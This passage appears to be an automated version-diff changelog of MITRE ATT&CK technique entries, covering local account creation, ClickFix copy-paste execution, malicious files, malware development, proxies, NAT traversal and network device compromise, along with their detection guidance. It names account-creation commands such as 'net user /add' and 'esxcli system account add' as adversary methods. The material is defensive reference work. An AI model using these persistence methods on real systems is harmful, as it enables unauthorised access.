 > used to establish secondary credentialed access that do not
 > require persistent remote access tools to be deployed on th
 >e system.

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['User Account: User Account Creation', 'Process: Process Creation', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:36.237000+00:002025-10-24 17:48:51.903000+00:00
descriptionAdversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. + +For example, with a sufficient level of access, the Windows net user /add command can be used to create a local account. In Linux, the `useradd` command can be used, while on macOS systems, the dscl -create command can be used. Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as username, to ESXi servers via `esxcli system account add`, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security) + +Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. + +For example, with a sufficient level of access, the Windows net user /add command can be used to create a local account. In Linux, the `useradd` command can be used, while on macOS systems, the dscl -create command can be used. Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as username, to ESXi servers via `esxcli system account add`, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security) + +Adversaries may also create new local accounts on network firewall management consoles – for example, by exploiting a vulnerable firewall management system, threat actors may be able to establish super-admin accounts that could be used to modify firewall rules and gain further access to the network.(Citation: Cyber Security News) + +Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionMonitor for processes and command-line parameters associated with local account creation, such as net user /add , useradd , and dscl -create . Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system. (Citation: Microsoft User Creation Event) Perform regular audits of local system accounts to detect suspicious accounts that may have been created by an adversary. For network infrastructure devices, collect AAA logging to monitor for account creations.
x_mitre_version1.41.5
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Cyber Security News', 'description': 'Kaaviya. (n.d.). SuperBlack Actors Exploiting Two Fortinet Vulnerabilities to Deploy Ransomware. Retrieved September 22, 2025.', 'url': 'https://cybersecuritynews.com/superblack-actors-exploiting-two-fortinet-vulnerabilities/'}

[T1204.004] User Execution: Malicious Copy and Paste

Current version: 1.1

Version changed from: 1.0 → 1.1

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1An adversary may rely upon a user copying and pasting code it1An adversary may rely upon a user copying and pasting code i
>n order to gain execution. Users may be subjected to social >n order to gain execution. Users may be subjected to social 
>engineering to get them to copy and paste code directly into>engineering to get them to copy and paste code directly into
> a [Command and Scripting Interpreter](https://attack.mitre.> a [Command and Scripting Interpreter](https://attack.mitre.
>org/techniques/T1059).    Malicious websites, such as those >org/techniques/T1059). One such strategy is "ClickFix," in w
>used in [Drive-by Compromise](https://attack.mitre.org/techn>hich adversaries present users with seemingly helpful soluti
>iques/T1189), may present fake error messages or CAPTCHA pro>ons—such as prompts to fix errors or complete CAPTCHAs—that 
>mpts that instruct users to open a terminal or the Windows R>instead instruct the user to copy and paste malicious code. 
>un Dialog box and execute an arbitrary command. These comman> Malicious websites, such as those used in [Drive-by Comprom
>ds may be obfuscated using encoding or other techniques to c>ise](https://attack.mitre.org/techniques/T1189), may present
>onceal malicious intent. Once executed, the adversary will t> fake error messages or CAPTCHA prompts that instruct users 
>ypically be able to establish a foothold on the victim's mac>to open a terminal or the Windows Run Dialog box and execute
>hine.(Citation: CloudSEK Lumma Stealer 2024)(Citation: Sekoi> an arbitrary command. These commands may be obfuscated usin
>a ClickFake 2025)(Citation: Reliaquest CAPTCHA 2024)(Citatio>g encoding or other techniques to conceal malicious intent. 
>n: AhnLab LummaC2 2025)  Adversaries may also leverage phish>Once executed, the adversary will typically be able to estab
>ing emails for this purpose. When a user attempts to open an>lish a foothold on the victim's machine.(Citation: CloudSEK 
> attachment, they may be presented with a fake error and off>Lumma Stealer 2024)(Citation: Sekoia ClickFake 2025)(Citatio
>ered a malicious command to paste as a solution.(Citation: P>n: Reliaquest CAPTCHA 2024)(Citation: AhnLab LummaC2 2025)  
>roofpoint ClickFix 2024)(Citation: AhnLab Malicioys Copy Pas>Adversaries may also leverage phishing emails for this purpo
>te 2024)  Tricking a user into executing a command themselve>se. When a user attempts to open an attachment, they may be 
>s may help to bypass email filtering, browser sandboxing, or>presented with a fake error and offered a malicious command 
> other mitigations designed to protect users against malicio>to paste as a solution, consistent with the "ClickFix" strat
>us downloaded files. >egy.(Citation: Proofpoint ClickFix 2024)(Citation: AhnLab Ma
 >licioys Copy Paste 2024)  Tricking a user into executing a c
 >ommand themselves may help to bypass email filtering, browse
 >r sandboxing, or other mitigations designed to protect users
 > against malicious downloaded files. 

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Creation', 'Network Traffic: Network Traffic Content', 'Command: Command Execution', 'Process: Process Creation', 'Network Traffic: Network Connection Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-30 17:53:48.667000+00:002025-10-05 17:30:01.834000+00:00
descriptionAn adversary may rely upon a user copying and pasting code in order to gain execution. Users may be subjected to social engineering to get them to copy and paste code directly into a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). + +Malicious websites, such as those used in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), may present fake error messages or CAPTCHA prompts that instruct users to open a terminal or the Windows Run Dialog box and execute an arbitrary command. These commands may be obfuscated using encoding or other techniques to conceal malicious intent. Once executed, the adversary will typically be able to establish a foothold on the victim's machine.(Citation: CloudSEK Lumma Stealer 2024)(Citation: Sekoia ClickFake 2025)(Citation: Reliaquest CAPTCHA 2024)(Citation: AhnLab LummaC2 2025) + +Adversaries may also leverage phishing emails for this purpose. When a user attempts to open an attachment, they may be presented with a fake error and offered a malicious command to paste as a solution.(Citation: Proofpoint ClickFix 2024)(Citation: AhnLab Malicioys Copy Paste 2024) + +Tricking a user into executing a command themselves may help to bypass email filtering, browser sandboxing, or other mitigations designed to protect users against malicious downloaded files. An adversary may rely upon a user copying and pasting code in order to gain execution. Users may be subjected to social engineering to get them to copy and paste code directly into a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). One such strategy is "ClickFix," in which adversaries present users with seemingly helpful solutions—such as prompts to fix errors or complete CAPTCHAs—that instead instruct the user to copy and paste malicious code. + +Malicious websites, such as those used in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), may present fake error messages or CAPTCHA prompts that instruct users to open a terminal or the Windows Run Dialog box and execute an arbitrary command. These commands may be obfuscated using encoding or other techniques to conceal malicious intent. Once executed, the adversary will typically be able to establish a foothold on the victim's machine.(Citation: CloudSEK Lumma Stealer 2024)(Citation: Sekoia ClickFake 2025)(Citation: Reliaquest CAPTCHA 2024)(Citation: AhnLab LummaC2 2025) + +Adversaries may also leverage phishing emails for this purpose. When a user attempts to open an attachment, they may be presented with a fake error and offered a malicious command to paste as a solution, consistent with the "ClickFix" strategy.(Citation: Proofpoint ClickFix 2024)(Citation: AhnLab Malicioys Copy Paste 2024) + +Tricking a user into executing a command themselves may help to bypass email filtering, browser sandboxing, or other mitigations designed to protect users against malicious downloaded files.
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.01.1

[T1204.002] User Execution: Malicious File

Current version: 1.6

Version changed from: 1.5 → 1.6

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1An adversary may rely upon a user opening a malicious file it1An adversary may rely upon a user opening a malicious file i
>n order to gain execution. Users may be subjected to social >n order to gain execution. Users may be subjected to social 
>engineering to get them to open a file that will lead to cod>engineering to get them to open a file that will lead to cod
>e execution. This user action will typically be observed as >e execution. This user action will typically be observed as 
>follow-on behavior from [Spearphishing Attachment](https://a>follow-on behavior from [Spearphishing Attachment](https://a
>ttack.mitre.org/techniques/T1566/001). Adversaries may use s>ttack.mitre.org/techniques/T1566/001). Adversaries may use s
>everal types of files that require a user to execute them, i>everal types of files that require a user to execute them, i
>ncluding .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cp>ncluding .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cp
>l, and .reg.  Adversaries may employ various forms of [Masqu>l, .reg, and .iso.(Citation: Mandiant Trojanized Windows 10)
>erading](https://attack.mitre.org/techniques/T1036) and [Obf>  Adversaries may employ various forms of [Masquerading](htt
>uscated Files or Information](https://attack.mitre.org/techn>ps://attack.mitre.org/techniques/T1036) and [Obfuscated File
>iques/T1027) to increase the likelihood that a user will ope>s or Information](https://attack.mitre.org/techniques/T1027)
>n and successfully execute a malicious file. These methods m> to increase the likelihood that a user will open and succes
>ay include using a familiar naming convention and/or passwor>sfully execute a malicious file. These methods may include u
>d protecting the file and supplying instructions to a user o>sing a familiar naming convention and/or password protecting
>n how to open it.(Citation: Password Protected Word Docs)   > the file and supplying instructions to a user on how to ope
>While [Malicious File](https://attack.mitre.org/techniques/T>n it.(Citation: Password Protected Word Docs)   While [Malic
>1204/002) frequently occurs shortly after Initial Access it >ious File](https://attack.mitre.org/techniques/T1204/002) fr
>may occur at other phases of an intrusion, such as when an a>equently occurs shortly after Initial Access it may occur at
>dversary places a file in a shared directory or on a user's > other phases of an intrusion, such as when an adversary pla
>desktop hoping that a user will click on it. This activity m>ces a file in a shared directory or on a user's desktop hopi
>ay also be seen shortly after [Internal Spearphishing](https>ng that a user will click on it. This activity may also be s
>://attack.mitre.org/techniques/T1534).>een shortly after [Internal Spearphishing](https://attack.mi
 >tre.org/techniques/T1534).

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_remote_supportFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'File: File Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:13.883000+00:002025-10-24 17:48:31.674000+00:00
descriptionAn adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cpl, and .reg. + +Adversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs) + +While [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cpl, .reg, and .iso.(Citation: Mandiant Trojanized Windows 10) + +Adversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs) + +While [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionMonitor the execution of and command-line arguments for applications that may be used by an adversary to gain initial access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads. + +Anti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).
x_mitre_version1.51.6
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Mandiant Trojanized Windows 10', 'description': 'Mandiant Intelligence. (2022, December 15). Trojanized Windows 10 Operating System Installers Targeted Ukrainian Government. Retrieved September 26, 2025.', 'url': 'https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government'}

[T1587.001] Develop Capabilities: Malware

Current version: 1.3

Version changed from: 1.2 → 1.3

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may develop malware and malware components that t1Adversaries may develop malware and malware components that 
>can be used during targeting. Building malicious software ca>can be used during targeting. Building malicious software ca
>n include the development of payloads, droppers, post-compro>n include the development of payloads, droppers, post-compro
>mise tools, backdoors (including backdoored images), packers>mise tools, backdoors (including backdoored images), packers
>, C2 protocols, and the creation of infected removable media>, C2 protocols, and the creation of infected removable media
>. Adversaries may develop malware to support their operation>. Adversaries may develop malware to support their operation
>s, creating a means for maintaining control of remote machin>s, creating a means for maintaining control of remote machin
>es, evading defenses, and executing post-compromise behavior>es, evading defenses, and executing post-compromise behavior
>s.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Cita>s.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Cita
>tion: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB)  As>tion: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB)  Du
> with legitimate development efforts, different skill sets m>ring malware development, adversaries may intentionally incl
>ay be required for developing malware. The skills needed may>ude indicators aligned with other known actors in order to m
> be located in-house, or may need to be contracted out. Use >islead attribution by defenders.(Citation: Olympic Destroyer
>of a contractor may be considered an extension of that adver>)(Citation: Risky Bulletin Threat actor impersonates FSB APT
>sary's malware development capabilities, provided the advers>)(Citation: GamaCopy organization)  As with legitimate devel
>ary plays a role in shaping requirements and maintains a deg>opment efforts, different skill sets may be required for dev
>ree of exclusivity to the malware.  Some aspects of malware >eloping malware. The skills needed may be located in-house, 
>development, such as C2 protocol development, may require ad>or may need to be contracted out. Use of a contractor may be
>versaries to obtain additional infrastructure. For example, > considered an extension of that adversary's malware develop
>malware developed that will communicate with Twitter for C2,>ment capabilities, provided the adversary plays a role in sh
> may require use of [Web Services](https://attack.mitre.org/>aping requirements and maintains a degree of exclusivity to 
>techniques/T1583/006).(Citation: FireEye APT29)>the malware.  Some aspects of malware development, such as C
 >2 protocol development, may require adversaries to obtain ad
 >ditional infrastructure. For example, malware developed that
 > will communicate with Twitter for C2, may require use of [W
 >eb Services](https://attack.mitre.org/techniques/T1583/006).
 >(Citation: FireEye APT29)

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Malware Repository: Malware Content', 'Malware Repository: Malware Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:47:44.654000+00:002025-10-24 17:48:30.776000+00:00
descriptionAdversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB) + +As with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware. + +Some aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29)Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB) + +During malware development, adversaries may intentionally include indicators aligned with other known actors in order to mislead attribution by defenders.(Citation: Olympic Destroyer)(Citation: Risky Bulletin Threat actor impersonates FSB APT)(Citation: GamaCopy organization) + +As with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware. + +Some aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29)
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionConsider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.
x_mitre_version1.21.3
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Risky Bulletin Threat actor impersonates FSB APT', 'description': 'Catalin Cimpanu. (2025, January 22). Risky Bulletin: Threat actor impersonates FSB APT for months to target Russian orgs. Retrieved June 14, 2025.', 'url': 'https://news.risky.biz/risky-bulletin-threat-actor-impersonates-fsb-apt-for-months-to-target-russian-orgs/'}
external_references{'source_name': 'GamaCopy organization', 'description': 'Knownsec 404 Advanced Threat Intelligence team. (2025, January 21). Love and hate under war: The GamaCopy organization, which imitates the Russian Gamaredon, uses military — related bait to launch attacks on Russia. Retrieved June 14, 2025.', 'url': 'https://medium.com/@knownsec404team/love-and-hate-under-war-the-gamacopy-organization-which-imitates-the-russian-gamaredon-uses-560ba5e633fa'}
external_references{'source_name': 'Olympic Destroyer', 'description': 'Paul Rascagneres, Martin Lee. (2018, February 26). Who Wasn’t Responsible for Olympic Destroyer?. Retrieved June 14, 2025.', 'url': 'https://blog.talosintelligence.com/who-wasnt-responsible-for-olympic/'}

[T1090.003] Proxy: Multi-hop Proxy

Current version: 2.4

Version changed from: 2.3 → 2.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:56.270000+00:002025-10-24 17:49:11.774000+00:00
x_mitre_detectionWhen observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)) or known adversary infrastructure that uses this technique. + +In context of network devices, monitor traffic for encrypted communications from the Internet that is addressed to border routers. Compare this traffic with the configuration to determine whether it matches with any configured site-to-site Virtual Private Network (VPN) connections the device was intended to have. Monitor traffic for encrypted communications originating from potentially breached routers that is addressed to other routers within the organization. Compare the source and destination with the configuration of the device to determine if these channels are an authorized Virtual Private Network (VPN) connections or other encrypted modes of communication. Monitor ICMP traffic from the Internet that is addressed to border routers and is encrypted. Few if any legitimate use cases exist for sending encrypted data to a network device via ICMP.
x_mitre_version2.32.4

[T1599.001] Network Boundary Bridging: Network Address Translation Traversal

Current version: 1.2

Version changed from: 1.1 → 1.2

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may bridge network boundaries by modifying a nett1Adversaries may bridge network boundaries by modifying a net
>work device’s Network Address Translation (NAT) configuratio>work device’s Network Address Translation (NAT) configuratio
>n. Malicious modifications to NAT may enable an adversary to>n. Malicious modifications to NAT may enable an adversary to
> bypass restrictions on traffic routing that otherwise separ> bypass restrictions on traffic routing that otherwise separ
>ate trusted and untrusted networks.  Network devices such as>ate trusted and untrusted networks.  Network devices such as
> routers and firewalls that connect multiple networks togeth> routers and firewalls that connect multiple networks togeth
>er may implement NAT during the process of passing packets b>er may implement NAT during the process of passing packets b
>etween networks. When performing NAT, the network device wil>etween networks. When performing NAT, the network device wil
>l rewrite the source and/or destination addresses of the IP >l rewrite the source and/or destination addresses of the IP 
>address header. Some network designs require NAT for the pac>address header. Some network designs require NAT for the pac
>kets to cross the border device.  A typical example of this >kets to cross the border device.  A typical example of this 
>is environments where internal networks make use of non-Inte>is environments where internal networks make use of non-Inte
>rnet routable addresses.(Citation: RFC1918)  When an adversa>rnet routable addresses.(Citation: RFC1918)  When an adversa
>ry gains control of a network boundary device, they can eith>ry gains control of a network boundary device, they may modi
>er leverage existing NAT configurations to send traffic betw>fy NAT configurations to send traffic between two separated 
>een two separated networks, or they can implement NAT config>networks, or to obscure their activities.  In network design
>urations of their own design.  In the case of network design>s that require NAT to function, such modifications enable th
>s that require NAT to function, this enables the adversary t>e adversary to overcome inherent routing limitations that wo
>o overcome inherent routing limitations that would normally >uld normally prevent them from accessing protected systems b
>prevent them from accessing protected systems behind the bor>ehind the border device.  In network designs that do not req
>der device.  In the case of network designs that do not requ>uire NAT, adversaries may use address translation to further
>ire NAT, address translation can be used by adversaries to o> obscure their activities, as changing the addresses of pack
>bscure their activities, as changing the addresses of packet>ets that traverse a network boundary device can make monitor
>s that traverse a network boundary device can make monitorin>ing data transmissions more challenging for defenders.    Ad
>g data transmissions more challenging for defenders.    Adve>versaries may use [Patch System Image](https://attack.mitre.
>rsaries may use [Patch System Image](https://attack.mitre.or>org/techniques/T1601/001) to change the operating system of 
>g/techniques/T1601/001) to change the operating system of a >a network device, implementing their own custom NAT mechanis
>network device, implementing their own custom NAT mechanisms>ms to further obscure their activities.
> to further obscure their activities 

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:46:38.101000+00:002025-10-24 17:48:46.071000+00:00
descriptionAdversaries may bridge network boundaries by modifying a network device’s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks. + +Network devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918) + +When an adversary gains control of a network boundary device, they can either leverage existing NAT configurations to send traffic between two separated networks, or they can implement NAT configurations of their own design. In the case of network designs that require NAT to function, this enables the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In the case of network designs that do not require NAT, address translation can be used by adversaries to obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders. + +Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activitiesAdversaries may bridge network boundaries by modifying a network device’s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks. + +Network devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918) + +When an adversary gains control of a network boundary device, they may modify NAT configurations to send traffic between two separated networks, or to obscure their activities. In network designs that require NAT to function, such modifications enable the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In network designs that do not require NAT, adversaries may use address translation to further obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders. + +Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities.
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionConsider monitoring network traffic on both interfaces of border network devices. Compare packets transmitted by the device between networks to look for signs of NAT being implemented. Packets which have their IP addresses changed should still have the same size and contents in the data encapsulated beyond Layer 3. In some cases, Port Address Translation (PAT) may also be used by an adversary. + +Monitor the border network device’s configuration to determine if any unintended NAT rules have been added without authorization.
x_mitre_version1.11.2

[T1584.008] Compromise Infrastructure: Network Devices

Current version: 1.1

Version changed from: 1.0 → 1.1

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may compromise third-party network devices that t1Adversaries may compromise third-party network devices that 
>can be used during targeting. Network devices, such as small>can be used during targeting. Network devices, such as small
> office/home office (SOHO) routers, may be compromised where> office/home office (SOHO) routers, may be compromised where
> the adversary's ultimate goal is not [Initial Access](https> the adversary's ultimate goal is not [Initial Access](https
>://attack.mitre.org/tactics/TA0001) to that environment -- i>://attack.mitre.org/tactics/TA0001) to that environment, but
>nstead leveraging these devices to support additional target> rather to leverage these devices to support additional targ
>ing.  Once an adversary has control, compromised network dev>eting.  Once an adversary has control, compromised network d
>ices can be used to launch additional operations, such as ho>evices can be used to launch additional operations, such as 
>sting payloads for [Phishing](https://attack.mitre.org/techn>hosting payloads for [Phishing](https://attack.mitre.org/tec
>iques/T1566) campaigns (i.e., [Link Target](https://attack.m>hniques/T1566) campaigns (i.e., [Link Target](https://attack
>itre.org/techniques/T1608/005)) or enabling the required acc>.mitre.org/techniques/T1608/005)) or enabling the required a
>ess to execute [Content Injection](https://attack.mitre.org/>ccess to execute [Content Injection](https://attack.mitre.or
>techniques/T1659) operations. Adversaries may also be able t>g/techniques/T1659) operations. Adversaries may also be able
>o harvest reusable credentials (i.e., [Valid Accounts](https> to harvest reusable credentials (i.e., [Valid Accounts](htt
>://attack.mitre.org/techniques/T1078)) from compromised netw>ps://attack.mitre.org/techniques/T1078)) from compromised ne
>ork devices.  Adversaries often target Internet-facing edge >twork devices.  Adversaries often target Internet-facing edg
>devices and related network appliances that specifically do >e devices and related network appliances that specifically d
>not support robust host-based defenses.(Citation: Mandiant F>o not support robust host-based defenses.(Citation: Mandiant
>ortinet Zero Day)(Citation: Wired Russia Cyberwar)  Compromi> Fortinet Zero Day)(Citation: Wired Russia Cyberwar)  Compro
>sed network devices may be used to support subsequent [Comma>mised network devices may be used to support subsequent [Com
>nd and Control](https://attack.mitre.org/tactics/TA0011) act>mand and Control](https://attack.mitre.org/tactics/TA0011) a
>ivity, such as [Hide Infrastructure](https://attack.mitre.or>ctivity, such as [Hide Infrastructure](https://attack.mitre.
>g/techniques/T1665) through an established [Proxy](https://a>org/techniques/T1665) through an established [Proxy](https:/
>ttack.mitre.org/techniques/T1090) and/or [Botnet](https://at>/attack.mitre.org/techniques/T1090) and/or [Botnet](https://
>tack.mitre.org/techniques/T1584/005) network.(Citation: Just>attack.mitre.org/techniques/T1584/005) network.(Citation: Ju
>ice GRU 2024)>stice GRU 2024)

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Internet Scan: Response Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:51:26.650000+00:002025-10-22 03:56:34.319000+00:00
descriptionAdversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not [Initial Access](https://attack.mitre.org/tactics/TA0001) to that environment -- instead leveraging these devices to support additional targeting. + +Once an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for [Phishing](https://attack.mitre.org/techniques/T1566) campaigns (i.e., [Link Target](https://attack.mitre.org/techniques/T1608/005)) or enabling the required access to execute [Content Injection](https://attack.mitre.org/techniques/T1659) operations. Adversaries may also be able to harvest reusable credentials (i.e., [Valid Accounts](https://attack.mitre.org/techniques/T1078)) from compromised network devices. + +Adversaries often target Internet-facing edge devices and related network appliances that specifically do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar) + +Compromised network devices may be used to support subsequent [Command and Control](https://attack.mitre.org/tactics/TA0011) activity, such as [Hide Infrastructure](https://attack.mitre.org/techniques/T1665) through an established [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Botnet](https://attack.mitre.org/techniques/T1584/005) network.(Citation: Justice GRU 2024)Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not [Initial Access](https://attack.mitre.org/tactics/TA0001) to that environment, but rather to leverage these devices to support additional targeting. + +Once an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for [Phishing](https://attack.mitre.org/techniques/T1566) campaigns (i.e., [Link Target](https://attack.mitre.org/techniques/T1608/005)) or enabling the required access to execute [Content 